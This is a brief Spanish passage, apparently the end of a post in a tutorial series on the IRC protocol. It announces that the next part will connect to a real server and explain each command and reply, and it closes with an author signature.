Para nuestra siguiente entrega de este hilo del protocolo IRC del cual no he estimado en cuantas partes lo redactare, haremos nuestra primer conexión a un servidor real y sobre la marcha comentaremos para que nos sirve cada comando que enviemos y cada respuesta al comando dado.

==EOF==

, , , ,

n3ur0n4

#n3ur0n4 Corporation
Live Free & Die Free